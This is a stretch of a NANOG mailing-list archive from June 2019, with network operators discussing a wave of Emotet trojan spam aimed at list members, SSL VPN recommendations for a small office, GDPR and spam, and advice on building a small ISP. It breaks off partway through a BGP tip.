From niels=nanog at bakker.net Sat Jun 1 01:07:33 2019 From: niels=nanog at bakker.net (Niels Bakker) Date: Sat, 1 Jun 2019 03:07:33 +0200 Subject: Spamming of NANOG list members In-Reply-To: References: <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> <20190523230712.GG88473@jima.tpb.net> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> <20190524151731.GA59617@meow.BKantor.net> <20190524153615.GA15215@gsp.org> <6d811625-8364-754f-4f76-cffff21a2c3f@peachfamily.net> Message-ID: <20190601010733.GJ88473@jima.tpb.net> * bryan at shout.net (Bryan Holloway) [Sat 01 Jun 2019, 01:54 CEST]: >Anybody else noticed a significant uptick in these e-mails? > >When I first saw this thread, I hadn't seen any. A couple days >later, I got my first one. (yay!) Now I'm getting 2-3 a day. (yay?) Yes. It's pretty annoying. And somebody seems to be burning through a lot of stolen credentials. I wonder what the success rate is... -- Niels. From rgolodner at infratection.com Sat Jun 1 03:05:42 2019 From: rgolodner at infratection.com (Richard) Date: Fri, 31 May 2019 22:05:42 -0500 Subject: Spamming of NANOG list members In-Reply-To: <20190601010733.GJ88473@jima.tpb.net> References: <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> <20190523230712.GG88473@jima.tpb.net> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> <20190524151731.GA59617@meow.BKantor.net> <20190524153615.GA15215@gsp.org> <6d811625-8364-754f-4f76-cffff21a2c3f@peachfamily.net> <20190601010733.GJ88473@jima.tpb.net> Message-ID: <50d141aa-4c9e-3841-79a9-28a8245bf70b@infratection.com> On 5/31/19 8:07 PM, Niels Bakker wrote: > * bryan at shout.net (Bryan Holloway) [Sat 01 Jun 2019, 01:54 CEST]: >> Anybody else noticed a significant uptick in these e-mails? >> >> When I first saw this thread, I hadn't seen any. A couple days later, >> I got my first one. (yay!) Now I'm getting 2-3 a day. (yay?) > > Yes.  It's pretty annoying.  And somebody seems to be burning through > a lot of stolen credentials.  I wonder what the success rate is... > > >     -- Niels. > >     I am getting several a day as well as ugly MS Word based trojan.     They come to me from all over the world with the subject line:     "NANOG Payment Remittance Advice"     I agree with Niels, someone or some spamming outfit is burning     through quite a bit of stolen credentials.     Richard Golodner     Infratection -------------- next part -------------- An HTML attachment was scrubbed... URL: From fergdawgster at mykolab.com Sat Jun 1 04:15:04 2019 From: fergdawgster at mykolab.com (Paul Ferguson) Date: Fri, 31 May 2019 21:15:04 -0700 Subject: Spamming of NANOG list members In-Reply-To: <50d141aa-4c9e-3841-79a9-28a8245bf70b@infratection.com> References: <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> <20190523230712.GG88473@jima.tpb.net> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> <20190524151731.GA59617@meow.BKantor.net> <20190524153615.GA15215@gsp.org> <6d811625-8364-754f-4f76-cffff21a2c3f@peachfamily.net> <20190601010733.GJ88473@jima.tpb.net> <50d141aa-4c9e-3841-79a9-28a8245bf70b@infratection.com> Message-ID: <81b920fd-a45e-f5b4-f85e-00c4f3f1d5fe@mykolab.com> On 5/31/2019 8:05 PM, Richard wrote: > On 5/31/19 8:07 PM, Niels Bakker wrote: >> * bryan at shout.net (Bryan Holloway) [Sat 01 Jun 2019, 01:54 CEST]: >>> Anybody else noticed a significant uptick in these e-mails? >>> >>> When I first saw this thread, I hadn't seen any. A couple days later, >>> I got my first one. (yay!) Now I'm getting 2-3 a day. (yay?) >> >> Yes.  It's pretty annoying.  And somebody seems to be burning through >> a lot of stolen credentials.  I wonder what the success rate is... >> >> >>     -- Niels. >> >> >     I am getting several a day as well as ugly MS Word based trojan. > >     They come to me from all over the world with the subject line: > >     "NANOG Payment Remittance Advice" > >     I agree with Niels, someone or some spamming outfit is burning > >     through quite a bit of stolen credentials. > >     Richard Golodner > >     Infratection > It's Emotet (again). Cheers, - ferg -- Paul Ferguson Principal, Threat Intelligence Gigamon Seattle, WA USA From gtaylor at tnetconsulting.net Sat Jun 1 04:25:13 2019 From: gtaylor at tnetconsulting.net (Grant Taylor) Date: Fri, 31 May 2019 22:25:13 -0600 Subject: Spamming of NANOG list members In-Reply-To: References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> <20190523230712.GG88473@jima.tpb.net> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> <20190524151731.GA59617@meow.BKantor.net> <20190524153615.GA15215@gsp.org> <6d811625-8364-754f-4f76-cffff21a2c3f@peachfamily.net> Message-ID: <7700cdda-ddc2-76e2-b710-e3b80a994430@spamtrap.tnetconsulting.net> On 5/31/19 5:53 PM, Bryan Holloway wrote: > Anybody else noticed a significant uptick in these e-mails? > > When I first saw this thread, I hadn't seen any. A couple days later, I > got my first one. (yay!) Now I'm getting 2-3 a day. (yay?) Intriguing. I've not yet received a single one. -- Grant. . . . unix || die -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 4008 bytes Desc: S/MIME Cryptographic Signature URL: From omer at chronos.com.tr Sat Jun 1 10:00:09 2019 From: omer at chronos.com.tr (M. Omer GOLGELI) Date: Sat, 01 Jun 2019 10:00:09 +0000 Subject: Spamming of NANOG list members In-Reply-To: <50d141aa-4c9e-3841-79a9-28a8245bf70b@infratection.com> References: <50d141aa-4c9e-3841-79a9-28a8245bf70b@infratection.com> <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> <20190523230712.GG88473@jima.tpb.net> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> <20190524151731.GA59617@meow.BKantor.net> <20190524153615.GA15215@gsp.org> <6d811625-8364-754f-4f76-cffff21a2c3f@peachfamily.net> <20190601010733.GJ88473@jima.tpb.net> Message-ID: <7ebbc2f3206431d08802304c585a9c06@chronos.com.tr> There are also variants of it with subjects like " Ref Id: %VARIABLE% " and "%Domain.tld% Ref Id: %VARIABLE% " And as Bryan said, we are increasingly getting more and more as well. M. Omer GOLGELI --- AS202365 June 1, 2019 6:05 AM, "Richard" )> wrote: On 5/31/19 8:07 PM, Niels Bakker wrote: * bryan at shout.net (mailto:bryan at shout.net) (Bryan Holloway) [Sat 01 Jun 2019, 01:54 CEST]:Anybody else noticed a significant uptick in these e-mails? When I first saw this thread, I hadn't seen any. A couple days later, I got my first one. (yay!) Now I'm getting 2-3 a day. (yay?) Yes. It's pretty annoying. And somebody seems to be burning through a lot of stolen credentials. I wonder what the success rate is... -- Niels. I am getting several a day as well as ugly MS Word based trojan. They come to me from all over the world with the subject line: "NANOG Payment Remittance Advice" I agree with Niels, someone or some spamming outfit is burning through quite a bit of stolen credentials. Richard Golodner Infratection -------------- next part -------------- An HTML attachment was scrubbed... URL: From sc at ottie.org Sat Jun 1 10:03:40 2019 From: sc at ottie.org (Scott Christopher) Date: Sat, 01 Jun 2019 13:03:40 +0300 Subject: Spamming of NANOG list members In-Reply-To: <7ebbc2f3206431d08802304c585a9c06@chronos.com.tr> References: <50d141aa-4c9e-3841-79a9-28a8245bf70b@infratection.com> <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> <20190523230712.GG88473@jima.tpb.net> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> <20190524151731.GA59617@meow.BKantor.net> <20190524153615.GA15215@gsp.org> <6d811625-8364-754f-4f76-cffff21a2c3f@peachfamily.net> <20190601010733.GJ88473@jima.tpb.net> <7ebbc2f3206431d08802304c585a9c06@chronos.com.tr> Message-ID: M. Omer GOLGELI wrote: > There are also variants of it with subjects like > > " Ref Id: %VARIABLE% " > and > "%Domain.tld% Ref Id: %VARIABLE% " > > > > And as Bryan said, we are increasingly getting more and more as well. I wonder if this crap corresponds positively with the price of Bitcoin. -- S.C. -------------- next part -------------- An HTML attachment was scrubbed... URL: From niels=nanog at bakker.net Sat Jun 1 13:50:20 2019 From: niels=nanog at bakker.net (Niels Bakker) Date: Sat, 1 Jun 2019 15:50:20 +0200 Subject: Spamming of NANOG list members In-Reply-To: References: <20190523230712.GG88473@jima.tpb.net> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> <20190524151731.GA59617@meow.BKantor.net> <20190524153615.GA15215@gsp.org> <6d811625-8364-754f-4f76-cffff21a2c3f@peachfamily.net> <20190601010733.GJ88473@jima.tpb.net> <7ebbc2f3206431d08802304c585a9c06@chronos.com.tr> Message-ID: <20190601135020.GK88473@jima.tpb.net> * sc at ottie.org (Scott Christopher) [Sat 01 Jun 2019, 12:04 CEST]: >I wonder if this crap corresponds positively with the price of Bitcoin. Only speculation (read: market manipulation) by holders of massive amounts of bitcoin drives the price of cryptocurrencies: https://davidgerard.co.uk/blockchain/2019/05/18/number-go-down-the-single-trade-that-crashed-bitcoin/ -- Niels. From mehmet at akcin.net Sat Jun 1 14:53:53 2019 From: mehmet at akcin.net (Mehmet Akcin) Date: Sat, 1 Jun 2019 07:53:53 -0700 Subject: SSL VPN Message-ID: Hey there I am trying to choose SSL VPN for a remote office 3-4 people max each any given time. I have looked at Pulse and Cisco, and wanted to check in here for recommendations on latest trends. Trying to get a solution easy to manage and won’t break the bank with licenses when team grows to 10. Thanks in advance. Mehmet -- Mehmet +1-424-298-1903 -------------- next part -------------- An HTML attachment was scrubbed... URL: From colinj at gt86car.org.uk Sat Jun 1 14:58:35 2019 From: colinj at gt86car.org.uk (Colin Johnston) Date: Sat, 1 Jun 2019 15:58:35 +0100 Subject: SSL VPN In-Reply-To: References: Message-ID: <0E3E9F64-800F-441B-8722-CBD4E30800B7@gt86car.org.uk> sophos utm vm cant beat that Sent from my iPod > On 1 Jun 2019, at 15:53, Mehmet Akcin wrote: > > Hey there > > I am trying to choose SSL VPN for a remote office 3-4 people max each any given time. > > I have looked at Pulse and Cisco, and wanted to check in here for recommendations on latest trends. > > Trying to get a solution easy to manage and won’t break the bank with licenses when team grows to 10. > > Thanks in advance. > > Mehmet > -- > Mehmet > +1-424-298-1903 From colinj at gt86car.org.uk Sat Jun 1 15:57:12 2019 From: colinj at gt86car.org.uk (colin johnston) Date: Sat, 1 Jun 2019 16:57:12 +0100 Subject: Spamming of NANOG list members In-Reply-To: <20190601135020.GK88473@jima.tpb.net> References: <20190523230712.GG88473@jima.tpb.net> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> <20190524151731.GA59617@meow.BKantor.net> <20190524153615.GA15215@gsp.org> <6d811625-8364-754f-4f76-cffff21a2c3f@peachfamily.net> <20190601010733.GJ88473@jima.tpb.net> <7ebbc2f3206431d08802304c585a9c06@chronos.com.tr> <20190601135020.GK88473@jima.tpb.net> Message-ID: <54B10024-B823-4E93-8B26-6B705E4BA733@gt86car.org.uk> See this as well today But gmail auto trashed it :) Col > On 1 Jun 2019, at 14:50, Niels Bakker wrote: > > * sc at ottie.org (Scott Christopher) [Sat 01 Jun 2019, 12:04 CEST]: >> I wonder if this crap corresponds positively with the price of Bitcoin. > > Only speculation (read: market manipulation) by holders of massive amounts of bitcoin drives the price of cryptocurrencies: https://davidgerard.co.uk/blockchain/2019/05/18/number-go-down-the-single-trade-that-crashed-bitcoin/ > > > -- Niels. From christoffer at netravnen.de Sat Jun 1 16:50:57 2019 From: christoffer at netravnen.de (Hansen, Christoffer) Date: Sat, 1 Jun 2019 18:50:57 +0200 Subject: [nanog] Re: SSL VPN In-Reply-To: References: Message-ID: <1c6add4a-5ea7-0249-d3ce-149cd6c91f77@netravnen.de> A solution based upon SSTP? Have used SSTP on Mikrotik gear in the past. Works well once setup is done. https://wiki.mikrotik.com/wiki/Manual:Interface/SSTP *Windows do e.g. have built-in support for SSTP based VPN solutions. Christoffer From ross at tajvar.io Sat Jun 1 17:29:32 2019 From: ross at tajvar.io (Ross Tajvar) Date: Sat, 1 Jun 2019 13:29:32 -0400 Subject: [nanog] Re: SSL VPN In-Reply-To: <1c6add4a-5ea7-0249-d3ce-149cd6c91f77@netravnen.de> References: <1c6add4a-5ea7-0249-d3ce-149cd6c91f77@netravnen.de> Message-ID: I've used Pulse and AnyConnect (as a user) and Windows-based SSTP (as an admin). They all worked well. The nice part about the Windows option is that it's cheap (you only need to pay for a Windows license). On Sat, Jun 1, 2019, 12:53 PM Hansen, Christoffer wrote: > A solution based upon SSTP? > > Have used SSTP on Mikrotik gear in the past. Works well once setup is done. > https://wiki.mikrotik.com/wiki/Manual:Interface/SSTP > > *Windows do e.g. have built-in support for SSTP based VPN solutions. > > Christoffer > -------------- next part -------------- An HTML attachment was scrubbed... URL: From warren at kumari.net Sat Jun 1 18:30:14 2019 From: warren at kumari.net (Warren Kumari) Date: Sat, 1 Jun 2019 14:30:14 -0400 Subject: SSL VPN In-Reply-To: References: Message-ID: OpenVPN AS? I’ve been running it for ~20 users for many years — it just works, has clients for many OSes, etc. W On Sat, Jun 1, 2019 at 10:54 AM Mehmet Akcin wrote: > Hey there > > I am trying to choose SSL VPN for a remote office 3-4 people max each any > given time. > > I have looked at Pulse and Cisco, and wanted to check in here for > recommendations on latest trends. > > Trying to get a solution easy to manage and won’t break the bank with > licenses when team grows to 10. > > Thanks in advance. > > Mehmet > -- > Mehmet > +1-424-298-1903 > -- I don't think the execution is relevant when it was obviously a bad idea in the first place. This is like putting rabid weasels in your pants, and later expressing regret at having chosen those particular rabid weasels and that pair of pants. ---maf -------------- next part -------------- An HTML attachment was scrubbed... URL: From ross at tajvar.io Sat Jun 1 19:10:30 2019 From: ross at tajvar.io (Ross Tajvar) Date: Sat, 1 Jun 2019 15:10:30 -0400 Subject: SSL VPN In-Reply-To: References: Message-ID: I've used that too. I found the admin interface to be pretty unintuitive. And it kicks all active sessions without warning when you make a config change. On Sat, Jun 1, 2019, 2:32 PM Warren Kumari wrote: > OpenVPN AS? > > I’ve been running it for ~20 users for many years — it just works, has > clients for many OSes, etc. > > W > > On Sat, Jun 1, 2019 at 10:54 AM Mehmet Akcin wrote: > >> Hey there >> >> I am trying to choose SSL VPN for a remote office 3-4 people max each any >> given time. >> >> I have looked at Pulse and Cisco, and wanted to check in here for >> recommendations on latest trends. >> >> Trying to get a solution easy to manage and won’t break the bank with >> licenses when team grows to 10. >> >> Thanks in advance. >> >> Mehmet >> -- >> Mehmet >> +1-424-298-1903 >> > -- > I don't think the execution is relevant when it was obviously a bad idea > in the first place. > This is like putting rabid weasels in your pants, and later expressing > regret at having chosen those particular rabid weasels and that pair of > pants. > ---maf > -------------- next part -------------- An HTML attachment was scrubbed... URL: From bruns at 2mbit.com Sat Jun 1 19:17:52 2019 From: bruns at 2mbit.com (Brielle) Date: Sat, 1 Jun 2019 13:17:52 -0600 Subject: SSL VPN In-Reply-To: References: Message-ID: <79CC7B40-E711-4113-A268-808F30CF23E1@2mbit.com> There is always the open source server/client ocserv. Server is compatible with pulse and Cisco clients, Ocserv client is compatible with pulse and Cisco servers as well. Sent from my iPhone > On Jun 1, 2019, at 1:10 PM, Ross Tajvar wrote: > > I've used that too. I found the admin interface to be pretty unintuitive. And it kicks all active sessions without warning when you make a config change. > >> On Sat, Jun 1, 2019, 2:32 PM Warren Kumari wrote: >> OpenVPN AS? >> >> I’ve been running it for ~20 users for many years — it just works, has clients for many OSes, etc. >> >> W >> >>> On Sat, Jun 1, 2019 at 10:54 AM Mehmet Akcin wrote: >>> Hey there >>> >>> I am trying to choose SSL VPN for a remote office 3-4 people max each any given time. >>> >>> I have looked at Pulse and Cisco, and wanted to check in here for recommendations on latest trends. >>> >>> Trying to get a solution easy to manage and won’t break the bank with licenses when team grows to 10. >>> >>> Thanks in advance. >>> >>> Mehmet >>> -- >>> Mehmet >>> +1-424-298-1903 >> -- >> I don't think the execution is relevant when it was obviously a bad idea in the first place. >> This is like putting rabid weasels in your pants, and later expressing regret at having chosen those particular rabid weasels and that pair of pants. >> ---maf -------------- next part -------------- An HTML attachment was scrubbed... URL: From bzs at theworld.com Sat Jun 1 20:18:42 2019 From: bzs at theworld.com (bzs at theworld.com) Date: Sat, 1 Jun 2019 16:18:42 -0400 Subject: Spamming of NANOG list members In-Reply-To: References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> <20190523230712.GG88473@jima.tpb.net> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> <20190524151731.GA59617@meow.BKantor.net> <20190524153615.GA15215@gsp.org> <6d811625-8364-754f-4f76-cffff21a2c3f@peachfamily.net> Message-ID: <23794.56738.88649.266721@gargle.gargle.HOWL> WARNING: I AM ABOUT TO PONTIFICATE! Many of the lists etc I'm on get spamt and that's followed by a stream of "we're getting spamt!" (either directly or scraped) agonizing, over and over. I've been involved in the spam problems since before some of you were bornt (ok I'll stop with the stupid past participles), late 90s, and the net since the 1970s. Instead of this non-stop quarter century of agonizing maybe it's high time to admit failure, that we designed a system which is subject to spam and that was a mistake, a big mistake. I know, where's the FUSSP, the proposal, so you can shoot it down? I won't do that, not here. But I do think we need, and have needed for a couple of decades, some sort of radical rethink. Times have changed, ideas which were not practical 20 years ago are perhaps possible today due to, if nothing else, cheaper, faster hardware and networks etc. I guess I'm an idealist but I also get a little sick of the endless cycle of complaining, agonizing, and assertions that everything has been tried and nothing can help which mostly amount to we like/hate email just as it is. -- -Barry Shein Software Tool & Die | bzs at TheWorld.com | http://www.TheWorld.com Purveyors to the Trade | Voice: +1 617-STD-WRLD | 800-THE-WRLD The World: Since 1989 | A Public Information Utility | *oo* From markr at signal100.com Sat Jun 1 22:51:40 2019 From: markr at signal100.com (Mark Rousell) Date: Sat, 1 Jun 2019 23:51:40 +0100 Subject: PSA: change your fedex.com account logins In-Reply-To: <20190531150238.GI88473@jima.tpb.net> References: <1AABDF19-427D-4DCA-98A3-107A1E31E88C@rivervalleyinternet.net> <31621b24-28d1-451c-969a-f9b032ed0c71@www.fastmail.com> <20190531141805.GA4114@gsp.org> <20190531150238.GI88473@jima.tpb.net> Message-ID: <5CF3017C.6080902@signal100.com> On 31/05/2019 16:02, Niels Bakker wrote: > * rsk at gsp.org (Rich Kulawiec) [Fri 31 May 2019, 16:18 CEST]: > [...] >> This is hardly surprising: many of them are spammers-for-hire, many of >> them use invasive tracking/spyware, and none of them actually care in >> the slightest about privacy or security -- after all, it's not *their* >> data, why should they? > > Which is why we now have GDPR. Care, or get fined. Not quite so simple, though, is it. If you want to make a complaint then you have to get your EU national data protection regulator interested. Even the worst-leaking ESPs are unlikely to generate many complaints, I suspect. And if they are located outside the EU with no direct business presence within the EU then it requires the regulator to make approaches to foreign governments who might or might not be willing to cooperate. In the UK the data protection regulator is the ICO and, whilst it is perhaps one of the better UK regulatory agencies, I still wouldn't hold out much hope of getting them to do anything like this (where multiple levels of evidence would need to be collected) in individual cases. > Unfortunately it's not that easy; the few large remaining mail hosters > at best have opaque procedures when it comes to accepting mail. Sadly so but I think that if you have a decent and consistent volume (and follow all the usual good hygiene requirements) then it should be possible to get on their automated radar in a positive way. It seems to me that it's small volume senders who have the real deliverability problems. -- Mark Rousell -------------- next part -------------- An HTML attachment was scrubbed... URL: From nanog at ics-il.net Sun Jun 2 17:05:52 2019 From: nanog at ics-il.net (Mike Hammett) Date: Sun, 2 Jun 2019 12:05:52 -0500 (CDT) Subject: Spamming of NANOG list members In-Reply-To: <23794.56738.88649.266721@gargle.gargle.HOWL> References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> <20190524151731.GA59617@meow.BKantor.net> <20190524153615.GA15215@gsp.org> <6d811625-8364-754f-4f76-cffff21a2c3f@peachfamily.net> <23794.56738.88649.266721@gargle.gargle.HOWL> Message-ID: <1288638146.728.1559495149322.JavaMail.mhammett@ThunderFuck> There's little doubt that this thread has caused an order of magnitude more messages in people's inboxes than the SPAM they're talking about. ----- Mike Hammett Intelligent Computing Solutions Midwest Internet Exchange The Brothers WISP ----- Original Message ----- From: bzs at theworld.com To: nanog at nanog.org Sent: Saturday, June 1, 2019 3:18:42 PM Subject: Re: Spamming of NANOG list members WARNING: I AM ABOUT TO PONTIFICATE! Many of the lists etc I'm on get spamt and that's followed by a stream of "we're getting spamt!" (either directly or scraped) agonizing, over and over. I've been involved in the spam problems since before some of you were bornt (ok I'll stop with the stupid past participles), late 90s, and the net since the 1970s. Instead of this non-stop quarter century of agonizing maybe it's high time to admit failure, that we designed a system which is subject to spam and that was a mistake, a big mistake. I know, where's the FUSSP, the proposal, so you can shoot it down? I won't do that, not here. But I do think we need, and have needed for a couple of decades, some sort of radical rethink. Times have changed, ideas which were not practical 20 years ago are perhaps possible today due to, if nothing else, cheaper, faster hardware and networks etc. I guess I'm an idealist but I also get a little sick of the endless cycle of complaining, agonizing, and assertions that everything has been tried and nothing can help which mostly amount to we like/hate email just as it is. -- -Barry Shein Software Tool & Die | bzs at TheWorld.com | http://www.TheWorld.com Purveyors to the Trade | Voice: +1 617-STD-WRLD | 800-THE-WRLD The World: Since 1989 | A Public Information Utility | *oo* -------------- next part -------------- An HTML attachment was scrubbed... URL: From ben at 6by7.net Sun Jun 2 20:33:47 2019 From: ben at 6by7.net (Ben Cannon) Date: Sun, 2 Jun 2019 13:33:47 -0700 Subject: PSA: change your fedex.com account logins In-Reply-To: References: <1AABDF19-427D-4DCA-98A3-107A1E31E88C@rivervalleyinternet.net> <31621b24-28d1-451c-969a-f9b032ed0c71@www.fastmail.com> Message-ID: <8D86729B-7527-41A9-BFE1-075760031DA9@6by7.net> You’d be surprised how often nation-states use essentially phishing scams. -Ben Cannon CEO 6x7 Networks & 6x7 Telecom, LLC ben at 6by7.net > On May 31, 2019, at 5:04 AM, Jason Kuehl wrote: > > Is it possible, yes. I've seen it several times now at my place of work. Targeted attacks are a thing. > > On Fri, May 31, 2019 at 2:53 AM Mike Hale > wrote: > Oh for fucks sake. > > Really? > > You two are questioning someone who subscribes to Nanog over Fedex? > You really think it's more likely that someone is targeting Dan Hollis > (whoever he is) instead of Fedex leaving something else exposed? > > On Thu, May 30, 2019 at 11:39 PM Scott Christopher > wrote: > > > > Dan Hollis wrote: > > > > Phishing scheme didn't happen. > > > > fedex has had a number of major compromises so it's not a stretch that > > their user database was stolen and sold to spammers. > > > > > > The other possibility is that your one-off email scheme is predictable, and someone knows you use FedEx, and that someone is targeting specifically you, and this obvious phishing email is a red herring for the exploit you didn't see. > > > > Be concerned. > > > > -- S.C. > > > > -- > 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0 > > > -- > Sincerely, > > Jason W Kuehl > Cell 920-419-8983 > jason.w.kuehl at gmail.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From robert at ripe.net Mon Jun 3 07:43:43 2019 From: robert at ripe.net (Robert Kisteleki) Date: Mon, 3 Jun 2019 09:43:43 +0200 Subject: spam and GDPR (was something else) In-Reply-To: <5CF3017C.6080902@signal100.com> References: <1AABDF19-427D-4DCA-98A3-107A1E31E88C@rivervalleyinternet.net> <31621b24-28d1-451c-969a-f9b032ed0c71@www.fastmail.com> <20190531141805.GA4114@gsp.org> <20190531150238.GI88473@jima.tpb.net> <5CF3017C.6080902@signal100.com> Message-ID: <86e047f8-e56b-18d7-d8a8-814b6b45bf2d@ripe.net> On 2019-06-02 00:51, Mark Rousell wrote: > On 31/05/2019 16:02, Niels Bakker wrote: >> Which is why we now have GDPR.  Care, or get fined. > > Not quite so simple, though, is it. If you want to make a complaint then > you have to get your EU national data protection regulator interested. What seems to help in individual cases is to reply to real but otherwise unwanted mails and remind the sender of GDPR violation. I got several sources to stop sending me such mails. When using a templated answer, it takes 5 seconds to do so. Also, the correspondence may come handy later, should evidence need to be presented. Robert From marco at paesani.it Mon Jun 3 07:49:04 2019 From: marco at paesani.it (Marco Paesani) Date: Mon, 3 Jun 2019 09:49:04 +0200 Subject: Contact with AS3216 VEON Message-ID: Hi, somebody knows a valid contact for VEON AS3216 ? The contacts written on PeeringDB are invalid, nobody answer at direct email. Thanks for your help. Regards, -- Marco Paesani Skype: mpaesani Mobile: +39 348 6019349 Success depends on the right choice ! Email: marco at paesani.it -------------- next part -------------- An HTML attachment was scrubbed... URL: From mehmet at akcin.net Mon Jun 3 12:04:31 2019 From: mehmet at akcin.net (Mehmet Akcin) Date: Mon, 3 Jun 2019 05:04:31 -0700 Subject: DOs and DONTs for small ISP Message-ID: hi there, I know there are folks from lots of small ISPs here and I wanted to check-in on asking few advice points as I am involved building an ISP from green-field. Usually, it's pretty straight forward to cover high-level important things, filters, routing policies, etc.but we all know the devil is in the details. I am putting together a public DOs and DONTs blog post and would love to hear from those who have built ISPs and have recommendations from Billing to Interconnection, Routing policy to Out of the band & console setup, Software recommendations, etc. Bottom line is that I would like to publish a checklist with these recommendations which I hope will be useful for all. thanks in advance for your help and recommendation. Mehmet -------------- next part -------------- An HTML attachment was scrubbed... URL: From ccummings at coeur.com Mon Jun 3 12:25:46 2019 From: ccummings at coeur.com (Cummings, Chris) Date: Mon, 3 Jun 2019 12:25:46 +0000 Subject: DOs and DONTs for small ISP In-Reply-To: References: Message-ID: <640D71E5-CA42-4EF8-AB33-CADD44C3D859@coeur.com> Mehmet, I think this is a cool idea, perhaps a good format for the documentation would be something along the lines of an “awesome list”? (https://github.com/sindresorhus/awesome) Chris From: NANOG on behalf of Mehmet Akcin Date: Monday, June 3, 2019 at 07:06 To: nanog Subject: DOs and DONTs for small ISP hi there, I know there are folks from lots of small ISPs here and I wanted to check-in on asking few advice points as I am involved building an ISP from green-field. Usually, it's pretty straight forward to cover high-level important things, filters, routing policies, etc.but we all know the devil is in the details. I am putting together a public DOs and DONTs blog post and would love to hear from those who have built ISPs and have recommendations from Billing to Interconnection, Routing policy to Out of the band & console setup, Software recommendations, etc. Bottom line is that I would like to publish a checklist with these recommendations which I hope will be useful for all. thanks in advance for your help and recommendation. Mehmet -------------- next part -------------- An HTML attachment was scrubbed... URL: From mel at beckman.org Mon Jun 3 13:48:33 2019 From: mel at beckman.org (Mel Beckman) Date: Mon, 3 Jun 2019 13:48:33 +0000 Subject: DOs and DONTs for small ISP In-Reply-To: References: Message-ID: I’m constantly amazed at the number of even medium-sized ISPs that have no network monitoring. An NMS should go in as the first software component — before billing starts and the provider is on the hook to deliver. The second lacking component is a ticket system, which is silly because turnkey cloud services are not expensive, and open source solutions abound for budget-limited operators. The third component failure is security, including weak and default (!) passwords, failure to use real certificates, and the complete lack of 2FA or MFA. Security also requires data surveillance, in the form of net flow analysis. The “two guys and a router” business model must be upgraded with more planning and a cohesive operating plan. -mel > On Jun 3, 2019, at 5:05 AM, Mehmet Akcin wrote: > > hi there, > > I know there are folks from lots of small ISPs here and I wanted to check-in on asking few advice points as I am involved building an ISP from green-field. > > Usually, it's pretty straight forward to cover high-level important things, filters, routing policies, etc.but we all know the devil is in the details. > > I am putting together a public DOs and DONTs blog post and would love to hear from those who have built ISPs and have recommendations from Billing to Interconnection, Routing policy to Out of the band & console setup, Software recommendations, etc. Bottom line is that I would like to publish a checklist with these recommendations which I hope will be useful for all. > > thanks in advance for your help and recommendation. > > Mehmet > > From mehmet at akcin.net Mon Jun 3 13:49:16 2019 From: mehmet at akcin.net (Mehmet Akcin) Date: Mon, 3 Jun 2019 06:49:16 -0700 Subject: DOs and DONTs for small ISP In-Reply-To: References: Message-ID: thank you, great start, just want to jump start to technical part AFTER deciding to start the ISP, and focus on operational, technical, and administrative things though. Question is no longer whether starting ISP is a good idea or not (but i agree this is needed and was already completed) thanks again. On Mon, Jun 3, 2019 at 6:42 AM Fletcher Kittredge wrote: > > Here is your checklist in descending order of importance: > > 1. market opportunity > 2. finding the right partners (see below) > 3. financial > 4. sales and marketing > 5. organizational capacity and HR > 6. legal, regulatory > 7. capital acquisition > 8. security > 9. ... > 10. ... > 11. ... > 12. technical including equipment selection, routing policy, > filtering, etc > > It is a stone cold lock that the success of your new ISP will governed by > factors other than technical. Your most important task is to find > competent financial and marketing people you can respect and trust. If the > market opportunity exists and you find them, you will succeed. If you > don't, all the technical excellence in the world won't help you. The road > is littered with technically excellent companies that failed. > > > > On Mon, Jun 3, 2019 at 8:05 AM Mehmet Akcin wrote: > >> hi there, >> >> I know there are folks from lots of small ISPs here and I wanted to >> check-in on asking few advice points as I am involved building an ISP from >> green-field. >> >> Usually, it's pretty straight forward to cover high-level important >> things, filters, routing policies, etc.but we all know the devil is in the >> details. >> >> I am putting together a public DOs and DONTs blog post and would love to >> hear from those who have built ISPs and have recommendations from Billing >> to Interconnection, Routing policy to Out of the band & console setup, >> Software recommendations, etc. Bottom line is that I would like to publish >> a checklist with these recommendations which I hope will be useful for all. >> >> thanks in advance for your help and recommendation. >> >> Mehmet >> >> >> > > -- > Fletcher Kittredge > GWI > 207-602-1134 > www.gwi.net > -------------- next part -------------- An HTML attachment was scrubbed... URL: From jlewis at lewis.org Mon Jun 3 13:56:46 2019 From: jlewis at lewis.org (Jon Lewis) Date: Mon, 3 Jun 2019 09:56:46 -0400 (EDT) Subject: DOs and DONTs for small ISP In-Reply-To: References: Message-ID: On Mon, 3 Jun 2019, Mehmet Akcin wrote: > hi there, > > I know there are folks from lots of small ISPs here and I wanted to check-in on asking few advice points as I am involved building an ISP from green-field. > > Usually, it's pretty straight forward to cover high-level important things, filters, routing policies, etc.but we all know the devil is in the details.  > > I am putting together a public DOs and DONTs blog post and would love to hear from those who have built ISPs and have recommendations from Billing to Interconnection, Routing policy to Out of > the band  & console setup, Software recommendations, etc. Bottom line is that I would like to publish a checklist with these recommendations which I hope will be useful for all.  > > thanks in advance for your help and recommendation. Probably the #1 thing I've seen messed up is BGP config. 1) Nail up your routes using network statements and static null 